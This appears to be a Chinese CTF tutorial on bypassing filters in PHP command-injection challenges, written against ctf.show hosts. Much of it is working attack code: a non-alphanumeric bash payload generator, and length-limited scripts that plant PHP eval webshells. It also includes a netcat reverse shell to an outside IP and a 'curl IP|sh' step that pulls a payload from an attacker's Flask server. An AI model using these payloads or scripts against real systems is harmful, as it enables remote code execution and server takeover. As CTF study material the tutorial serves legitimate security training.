部分题目环境&脚本&姿势来自https://ctf.show/
命令执行函数 主要有6种函数可以执行系统命令,分别是system
,passthru
,exec
,shell_exec
,popen
,pcntl_exec
参数值可控 1 2 $a =$_POST ['a' ];system ("ls " .$a );
直接用;
将命令分割成两部分执行
或者用&&
和||
&&
表示前一条命令执行成功时,才执行后一条命令||
表示上一条命令执行失败后,才执行下一条命令
命令可控 1 2 $a =$_POST ['a' ];system ($a ." >/dev/null 2>&1" );
与上题类似
其他方式跳出控制范围 cd /%0apwd
相当于依次执行命令cd /
和pwd
整体可控 黑名单过滤 比赛中较为常见的一种类型,将关键词替换成空或其他字符 如果只替换成空可以利用双写绕过,如果是替换成字符那么可以用base64编码绕过或者拼接变量
常见的读取文件的命令:cat
,tac
,od
,nl
,less
,more
,sed p
,head
,tail
,sort
,uniq
,file -f
,date -f
常见的列目录的命令:ls
,du
常用的还有通配符*
和?
黑名单还可以采用一些不影响执行的特定符号隔开检测的关键字
比如
cat /flag
–>ca''t /flag
–>ca""t /flag
–>ca\t /flag
–>ca$1t /flag
–>ca$IFS$1t /flag
或者正则,[^a]代表不是a的其他字符
more [^a][^a][^m][^b]
符号过滤 符号过滤也非常常见
比如可以用<>
,${IFS}
,$IFS$9
,%09
,%0b
,%0c
等代替空格
再者,可以利用变量来截取
比如通过env
命令获取到了如下变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 PHP_EXTRA_CONFIGURE_ARGS=--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi USER=www-data HOSTNAME=f3f5c6c3e3ee PHP_INI_DIR=/usr/local/etc/php SHLVL=2 HOME=/home/www-data PHP_LDFLAGS=-Wl,-O1 -pie PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_MD5= PHP_VERSION=7.3.22 GPG_KEYS=CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_ASC_URL=https://www.php.net/distributions/php-7.3.22.tar.xz.asc PHP_URL=https://www.php.net/distributions/php-7.3.22.tar.xz PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PHPIZE_DEPS=autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c PWD=/var/www/html PHP_SHA256=0e66606d3bdab5c2ae3f778136bfe8788e574913a3d8138695e54d98562f1fb5 FLAG=not_flag
可以通过${PHPIZE_DEPS:9:1}
或者${PHP_EXTRA_CONFIGURE_ARGS:12:1}
表示空格
无字母数字命令执行 1 2 3 if (!preg_match ("/[a-z]|[0-9]/i" ,$cmd )){ system ($cmd ); }
构造一个文件上传网页,强制上传,利用?
匹配文件来rce
1 2 3 4 <form action ="http://15763fb4-39d9-4a94-886d-313843ffdc96.challenges.ctfer.com:8080/?cmd=.%20/???/????????[@-[]" method ="post" enctype ="multipart/form-data" > <input type ="file" name ="file" /> <input type ="submit" value ="Submit" /> </form >
抓包爆破,用[@-[]
来匹配大写字母,可以增加读到的概率
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST /?cmd=.%20/???/????????[@-[] HTTP/1.1 Host: 15763fb4-39d9-4a94-886d-313843ffdc96.challenges.ctfer.com:8080 Content-Length: 421 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.1.17 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIoD8zFE5URcUFT3b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.1.17/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close ------WebKitFormBoundaryIoD8zFE5URcUFT3b Content-Disposition: form-data; name="file"; filename="1.txt" Content-Type: text/html whoami ------WebKitFormBoundaryIoD8zFE5URcUFT3b--
$数字命令执行(bash) shell脚本中$的多种用法
变量名
含义
$0
脚本本身的名字
$1
脚本后所输入的第一串字符
$2
传递给该shell脚本的第二个参数
$*
脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$@
脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$_
表示上一个命令的最后一个参数
$#
#脚本后所输入的字符串个数
$$
脚本运行的当前进程ID号
$!
表示最后执行的后台命令的PID
$?
显示最后命令的退出状态,0表示没有错误,其他表示由错误
linux中可以通过$’xxx’(xxx为字符的八进制)的形式来执行命令
例如
1 2 $'\154\163' $'\167\150\157\141\155\151'
但是不能携带参数,需要通过其他方式来传参
1 2 $'\154\163' $'\57' $'\143\141\164' <$'\57\146\154\141\147'
一个允许使用的符号的例子
1 $white_list = ['!' , '#' , '$' , '&' , "'" , '(' , ')' , '0' , '1' , '<' , '\\' , '_' , '{' , '}' , '~' ]
在bash中对于整数的表示形式是[base#]n
,比如2#100
就是4
在只有0和1的情况下,只要构造出2,就可以构造出任意数字了
1 2 $ ((1<<1)) # 这里通过位运算构造,相当于 00000001 位移后变成 000000010
可以得到以下转换过程
1 2 3 4 5 6 ls $'\154\163' $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' bash<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' bash<<<bash\<\<\<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' # 通过两次<<<传递复杂参数 $0<<<$0\<\<\<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' # 使用$0代替bash
使用脚本自动转换命令
1 2 3 4 5 6 7 8 9 cmd = 'cat /flag' payload = '$0<<<$0\\<\\<\\<\\$\\\'' for c in cmd: payload += f'\\\\$(($((1<<1))#{bin (int (oct (ord (c))[2 :]))[2 :]} ))' payload += '\\\'' print (payload)
替换数字1 如果不能使用1了,可以使用上面表格中的$#来表示,两个##就是1,一个就是0
脚本如下
1 2 3 4 5 6 7 8 9 cmd = 'cat /flag' payload = '$0<<<$0\\<\\<\\<\\$\\\'' for c in cmd: payload += f'\\\\$(($((1<<1))#{bin (int (oct (ord (c))[2 :]))[2 :]} ))' .replace('1' , '${##}' ) payload += '\\\'' print (payload)
替换符号# #在上一步中是用来替换1的,如果不能用了,还能通过~符号来拿到数字
在linux中,$(())
可以拿到0
,通过~
按位取反,就可以拿到-1
。很多个-1
进行叠加运算,可以得到-2
,-3
,-4
,-5
,-6
,-7
,-8
等等,在将这些数字按位取反,就能拿到8进制中的所有数字
1 2 3 4 5 6 7 8 '$(())' '$((~$(($((~$(())))$((~$(())))))))' '$((~$(($((~$(())))$((~$(())))$((~$(())))))))' '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))' '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))' '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))' '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))' '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))'
替换bash 在之前的payload中用的是$0来代替bash,如果不能使用0就需要构造另一个变量,变量值是0
linux中可以通过${!?}
和${!#}
的形式拿到bash,但是在php的system环境下没有实现
不过可以定义一个__=$(())
的方式将__
变量的值设置为0,然后通过${!__}
的形式拿到sh字符
而以下变量的值同样是0
1 2 __=${?} &&echo ${!__} __=${#} &&echo ${!__}
综合利用脚本 以下是我改编自bashFuck 的脚本Non-alphanumeric-rce-for-bash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 from string import printabledef info (s ): total = 0 used_chars = set () for c in s: if c.isprintable() and c not in used_chars: total += 1 used_chars.add(c) return "Charset : " + ' ' .join(sorted (used_chars)) + '\n' + f"Total Used: {total} " + '\n' + "Total length = " + str ( len (s)) + '\n' + "Payload = " + s + '\n' + "---------------------------" def GeneratePayload (char, cmd ): list_1 = ['$' , '\\' , '\'' , '0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , ' ' ] list_2 = ['#' , '$' , '\'' , '(' , ')' , '0' , '1' , '<' , '\\' ] list_3 = ['#' , '$' , '\'' , '(' , ')' , '0' , '<' , '\\' , '{' , '}' ] list_4 = ['!' , '$' , '&' , '\'' , '(' , ')' , '<' , '=' , '\\' , '_' , '{' , '}' , '~' ] list_5 = ['!' , '_' , '?' , '+' , '$' , '{' , '}' , '=' , '#' , '&' , '(' , ')' , '<' , '\'' , '\\' ] list_6 = ['!' , '_' , '+' , '$' , '{' , '}' , '=' , '#' , '&' , '(' , ')' , '<' , '\'' , '\\' ] if "'" not in char or "\\" not in char: print (f"必要字符不在列表中,无法生成payload" ) return elif all (c in char for c in list_1): print (payload_base(cmd)) elif all (c in char for c in list_2): print (payload_2(cmd, 'num' )) elif all (c in char for c in list_3): print (payload_2(cmd, 'not_one' )) elif all (c in char for c in list_4): print (payload_3(cmd)) elif all (c in char for c in list_5): print (payload_4(cmd, 'all' )) elif all (c in char for c in list_6): print (payload_4(cmd, 'not_question_mark' )) else : print ("可用符号不足,以下是全部payload" ) print ("---------------------------" ) print (payload_base(cmd)) print (payload_2(cmd, 'num' )) print (payload_2(cmd, 'not_one' )) print (payload_3(cmd)) print (payload_4(cmd, 'all' )) print (payload_4(cmd, 'not_question_mark' ))def payload_base (cmd ): payload = '$\'' for c in cmd: if c == ' ' : payload += '\' $\'' else : payload += '\\' + (oct (ord (c)))[2 :] payload += '\'' return info(payload)def payload_2 (cmd, form ): payload = '' for c in cmd: payload += f'\\\\$(($((1<<1))#{bin (int ((oct (ord (c)))[2 :]))[2 :]} ))' payload_num = payload payload_not_one = payload.replace('1' , '${##}' ) if form == 'num' : payload_num = '$0<<<$0\\<\\<\\<\\$\\\'' + payload_num + '\\\'' return info(payload_num) elif form == 'not_one' : payload_not_one = '$0<<<$0\\<\\<\\<\\$\\\'' + payload_not_one + '\\\'' return info(payload_not_one)def payload_3 (cmd ): r = {} x = '$((~$(())))' r[0 ] = '$(())' for i in range (1 , 9 ): r[i] = '$((~$((' + x for j in range (i): r[i] += x r[i] += '))))' payload = '__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\'' for c in cmd: payload += '\\\\' for i in oct (ord (c))[2 :]: payload += r[int (i)] payload += '\\\'' return info(payload)def payload_4 (cmd, form ): if form == 'all' : payload = '__=${?}&&___=$((++__))&&____=$((++___))&&_____=${?}&&${!_____}<<<${!_____}\\<\\<\\<\\$\\\'' elif form == 'not_question_mark' : payload = '__=$(())&&___=$((++__))&&____=$((++___))&&_____=$(())&&${!_____}<<<${!_____}\\<\\<\\<\\$\\\'' for c in cmd: payload += f'\\\\$((2#{bin (int (oct (ord (c))[2 :]))[2 :]} ))' .replace('1' , '${__}' ).replace('2' , '${____}' ).replace( '0' , '${_____}' ) payload += '\\\'' return info(payload)def main (): try : char = input ("请输入列表格式的可用字符,回车默认全部: " ) or list (printable); if type (char) == str : char = eval (char) while True : cmd = input ("输入想执行的命令: " ) print ("---------------------------" ) GeneratePayload(char, cmd) except : print ("格式错误,请检查后重试" ) return if __name__ == "__main__" : main()
输入一个可用字符串列表即可生成可用的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 请输入列表格式的可用字符,回车默认全部: ['$' , '\\' , '\' ', ' 0', ' 1', ' 2', ' 3', ' 4', ' 5', ' 6', ' 7', ' '] 输入想执行的命令: ls / --------------------------- Charset : $ ' 1 3 4 5 6 7 \ Total Used: 10 Total length = 18 Payload = $'\154\163' $'\57' --------------------------- 输入想执行的命令: cat /flag --------------------------- Charset : $ ' 1 3 4 5 6 7 \ Total Used: 10 Total length = 38 Payload = $' \143\141\164' $' \57\146\154\141\147' --------------------------- 输入想执行的命令:
长度限制 7字符长度的命令执行 web目录可写 可写的情况主要利用>
写入shell到文件名中,然后利用ls -t
命令排序,写入文件后用.
执行。具体思路如下
在linux
中,可以利用>aa
创建一个文件,文件名就是aa
执行一次ls -t>0
,然后cat 0
,会发现文件中按照创建文件的先后顺序进行了排序,那么如果将里面的内容替换成恶意的一句话木马,然后执行,不就能rce了吗
为了避免符号的原因导致写入失败,先把一句话木马转成base64形式<?php eval($_GET[1]);
PD9waHAgZXZhbCgkX0dFVFsxXSk7
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
然后对要执行的命令进行分割,不超过7个一组,注意每组后面加个\
,在linux中表示一行未输入完
最后0
文件中应该是如下内容
执行. 0
,就会生成一个1.php
整合脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import requestsimport time url = "http://75026f50-dfd3-4928-9a7c-c1d59c860cb3.challenge.ctf.show/" payload=[">hp" ,">1.p\\" ,">d\\>\\" ,">\\ -\\" ,">e64\\" ,">bas\\" ,">7\\|\\" ,">XSk\\" ,">Fsx\\" ,">dFV\\" ,">kX0\\" ,">bCg\\" ,">XZh\\" ,">AgZ\\" ,">waH\\" ,">PD9\\" ,">o\\ \\" ,">ech\\" ,"ls -t>0" ,". 0" ]def writeFile (payload ): data={ "cmd" :payload } requests.post(url,data=data)def run (): for p in payload: writeFile(p.strip()) print ("[*] create " +p.strip()) time.sleep(1 )def check (): response = requests.get(url+"1.php" ) if response.status_code == requests.codes.ok: print ("[*] Attack success!!!Webshell is " +url+".1.php" )def main (): run() check()if __name__ == '__main__' : main()
web目录不可写 既然当前目录不可写,那么可以利用可写的目录,比如php的临时文件存储目录/tmp/
这样我们可以利用php的文件存储机制强行上传一个文件,内容是反弹shell的语句,然后利用. /t*/*
匹配我们上传的文件并执行,刚好7个字符
自动化脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestsimport time url = "http://f1f8f51f-8da6-43cc-ab09-d5456cc2bcb7.challenge.ctf.show/" def getShell (payload ): data={ "cmd" :payload } file = { "file" :b"#!/bin/sh\nnc 43.154.107.226 3389 -e /bin/sh" } requests.post(url,data=data,files=file) print ("[*] Attack success!!!" )def run (): getShell(". /t*/*" )def main (): run()if __name__ == '__main__' : main()
5字符长度的命令执行 环境有dir 主要思路: 1:将index.php
转为.php
2:将临时文件打包到当前目录 3:使用php执行tar压缩包
第一步的操作与7字符可写差不多,主要是为了index.php
这个文件名不影响后面的排序
先复制一份index.php
的内容
然后通过cp
,rev
,dir
等命令将index.php
转化为了php.xedni
先将多余的文件删除,再利用shell中的注释符#
,成功得到.php
文件
删去多余的文件,创建tar
命令和vcf
参数
强制上传一个文件到php的文件缓存目录/tmp/xxxx
,内容是<?php file_put_contents("1.php","<?php eval(\$_POST[1]);?>");?>
然后最关键的命令来了,使用* /t*
打包恶意文件到z
,实际上执行的是tar vcf z /tmp/*
最后使用php z
命令写入shell
自动化脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 import requestsimport time url = "http://78c1f836-ab24-4a5b-a22f-ce1494fe1b4c.challenge.ctf.show/" url_2 = url+".php" delay = 1 chagneFile_payload=['>cp' ,'>k' ,'*' ,'rm cp' ,'>pc' ,'>dir' ,'*>v' ,'>rev' ,'*v>z' ,'sh z' ,'rm v' ,'rm k' ,'rm z' ,'rm pc' ,'rm *v' ,'>php.' ,'>j\\#' ,'>vm' ,'*>v' ,'>rev' ,'*v>z' ,'sh z' ] clearFile_payload=['rm d*' ,'rm j*' ,'rm p*' ,'rm r*' ,'rm v*' ,'rm z' ] shell_payload=['>tar' ,'>vcf' ,'>z' ] file={ 'file' :b'<?php file_put_contents("1.php","<?php eval(\\$_POST[1]);?>");?>' }def changeFile (): for p in chagneFile_payload: sendPayload(url,p) print ("[*] create " +p.strip()) time.sleep(delay)def clearFile (): for p in clearFile_payload: sendPayload(url_2,p) print ("[*] create " +p.strip()) time.sleep(delay)def getshell (): for p in shell_payload: sendPayload(url_2,p) print ("[*] create " +p.strip()) time.sleep(delay) data={ "cmd" :"* /t*" } requests.post(url_2,data=data,files=file) data={ "cmd" :"php z" } requests.post(url_2,data=data)def checkShell (): response = requests.get(url+"1.php" ) if response.status_code == requests.codes.ok: print ("[*] Attack success!!!Webshell is " +url+"1.php" )def sendPayload (url,payload ): data={ "cmd" :payload } requests.post(url,data=data)def run (): changeFile() clearFile() getshell() checkShell()def main (): run()if __name__ == '__main__' : main()
环境无dir dir
与ls
最大的区别就是dir
没有换行
这题主要思路是利用grep
命令修改题目,可以说是非常巧妙了
具体步骤如下:
写入grep
和h
,接着*
执行,实际上就是拿出题目中包含h
的每一行,恰好if(strlen($cmd) <= 5)
是没有h
的,这样就没有限制了
将修改后的代码追加到i
中
cp
到index.php
中
整合脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import requestsimport time url = "http://39fede4b-390d-42a1-b6c4-0924a2556b4e.challenge.ctf.show/" payload=[">grep" ,">h" ,"*>j" ,"rm g*" ,"rm h*" ,">cat" ,"*>>i" ,"rm c*" ,"rm j" ,">cp" ,"*" ]def writeFile (payload ): data={ "cmd" :payload } requests.post(url,data=data)def run (): for p in payload: writeFile(p.strip()) print ("[*] create " +p.strip()) time.sleep(0.3 ) print ("[*] Attack success!!!Webshell is " +url)def main (): run()if __name__ == '__main__' : main()
4字符长度的命令执行 环境有dir 主要思路和7字符可写差不多,拼接出ls -t
命令到某个文件中,在按倒序写入写马的语句,依次执行即可。主要是注意文件顺序问题
自动化脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import requestsimport time url = "http://eb893c73-86c3-449f-98fe-0f82d9212110.challenge.ctf.show/" payload = ['>sl' ,'>kt-' ,'>j\\>' ,'>j\\#' ,'>dir' ,'*>v' ,'>rev' ,'*v>x' ,'>php' ,'>a.\\' ,'>\\>\\' ,'>-d\\' ,'>\\ \\' ,'>64\\' ,'>se\\' ,'>ba\\' ,'>\\|\\' ,'>4=\\' ,'>Pz\\' ,'>k7\\' ,'>XS\\' ,'>sx\\' ,'>VF\\' ,'>dF\\' ,'>X0\\' ,'>gk\\' ,'>bC\\' ,'>Zh\\' ,'>ZX\\' ,'>Ag\\' ,'>aH\\' ,'>9w\\' ,'>PD\\' ,'>S}\\' ,'>IF\\' ,'>{\\' ,'>\\$\\' ,'>ho\\' ,'>ec\\' ,'sh x' ,'sh j' ]def writeFile (payload ): data={ "cmd" :payload } requests.post(url,data=data)def run (): for p in payload: writeFile(p.strip()) print ("[*] create " +p.strip()) time.sleep(0.3 )def check (): response = requests.get(url+"a.php" ) if response.status_code == requests.codes.ok: print ("[*] Attack success!!!Webshell is " +url+"a.php" )def main (): run() check()if __name__ == '__main__' : main()
环境无dir,可写 思路是通过ls
,mv
,cat
构造出ls -t>a
,再curl
写一句话
具体操作如下:
先将ls -t>a
写入z
倒序写入curl 335708495|sh
,注意服务器的ip要先转int
服务器上用flask
写个shell
1 2 3 4 5 6 7 8 9 10 11 12 13 from flask import * app = Flask(__name__) app.secret_key = '*************************' @app.route('/' ,methods=['GET' , 'POST' ] ) def index (): return "echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php" if __name__ == "__main__" : app.run(host='0.0.0.0' ,port=80 ,debug=True )
先执行sh z
,即执行了ls -t>a
,即向a
写入curl 335708495|sh
,再sh a
,就执行了curl 335708495|sh
,并返回echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
,成功写入1.php
自动化脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import requestsimport time url = "http://5d1769eb-d4a2-4077-bed9-7eb90cbdf2f9.challenge.ctf.show/" payload = ['>\\ \\' ,'>-t\\' ,'>\\>a' ,'>ls\\' ,'ls>v' ,'>mv' ,'>vt' ,'*v*' ,'>ls' ,'l*>t' ,'>cat' ,'*t>z' ,'>sh' ,'>\\|\\' ,'>5\\' ,'>49\\' ,'>08\\' ,'>57\\' ,'>33\\' ,'>\\ \\' ,'>rl\\' ,'>cu\\' ,'sh z' ,'sh a' , ]def writeFile (payload ): data={ "cmd" :payload } requests.post(url,data=data)def run (): for p in payload: writeFile(p.strip()) print ("[*] create " +p.strip()) time.sleep(1 )def check (): response = requests.get(url+"1.php" ) if response.status_code == requests.codes.ok: print ("[*] Attack success!!!Webshell is " +url+"1.php" )def main (): run() check()if __name__ == '__main__' : main()
环境无dir,可写但不出网 因为ls -t
命令对文件进行排序时只能有一个空格,一个重定向符号,一个管道符,多了排序就乱了,所以不能直接用echo xxx|base64 -d>a.php
的方式了,且考虑到万一临时文件过多的情况,也不采用5字符的上传临时文件的方法。解决方案是用${IFS}
代替空格,变成echo${IFS}xxxxxx|base64 -d>a.php
步骤与4字符-环境无dir,可写
基本一致,只是替换了curl命令
,变成了echo ...
自动化脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 import requestsimport time url = "http://499e4b26-b5cd-43a8-b0d1-6a8ec2451dea.challenge.ctf.show/" payload = ['>\\ \\' ,'>-t\\' ,'>\\>a' ,'>ls\\' ,'ls>v' ,'>mv' ,'>vt' ,'*v*' ,'>ls' ,'l*>t' ,'>cat' ,'*t>z' ,'>php' ,'>a.\\' ,'>\\>\\' ,'>-d\\' ,'>\\ \\' ,'>64\\' ,'>se\\' ,'>ba\\' ,'>\\|\\' ,'>4=\\' ,'>Pz\\' ,'>k7\\' ,'>XS\\' ,'>sx\\' ,'>VF\\' ,'>dF\\' ,'>X0\\' ,'>gk\\' ,'>bC\\' ,'>Zh\\' ,'>ZX\\' ,'>Ag\\' ,'>aH\\' ,'>9w\\' ,'>PD\\' ,'>S}\\' ,'>IF\\' ,'>{\\' ,'>\\$\\' ,'>ho\\' ,'>ec\\' ,'sh z' ,'sh a' ]def writeFile (payload ): data={ "cmd" :payload } requests.post(url,data=data)def run (): for p in payload: writeFile(p.strip()) print ("[*] create " +p.strip()) time.sleep(1 )def check (): response = requests.get(url+"a.php" ) if response.status_code == requests.codes.ok: print ("[*] Attack success!!!Webshell is " +url+"a.php" )def main (): run() check()if __name__ == '__main__' : main()
长度限制总结 1:当有长度限制的情况下,最少可以在4
字符无dir
环境下拼接出ls -t
2:空格不够用时可以用${IFS}
代替,只要命令部分不出现重复的字符组合就行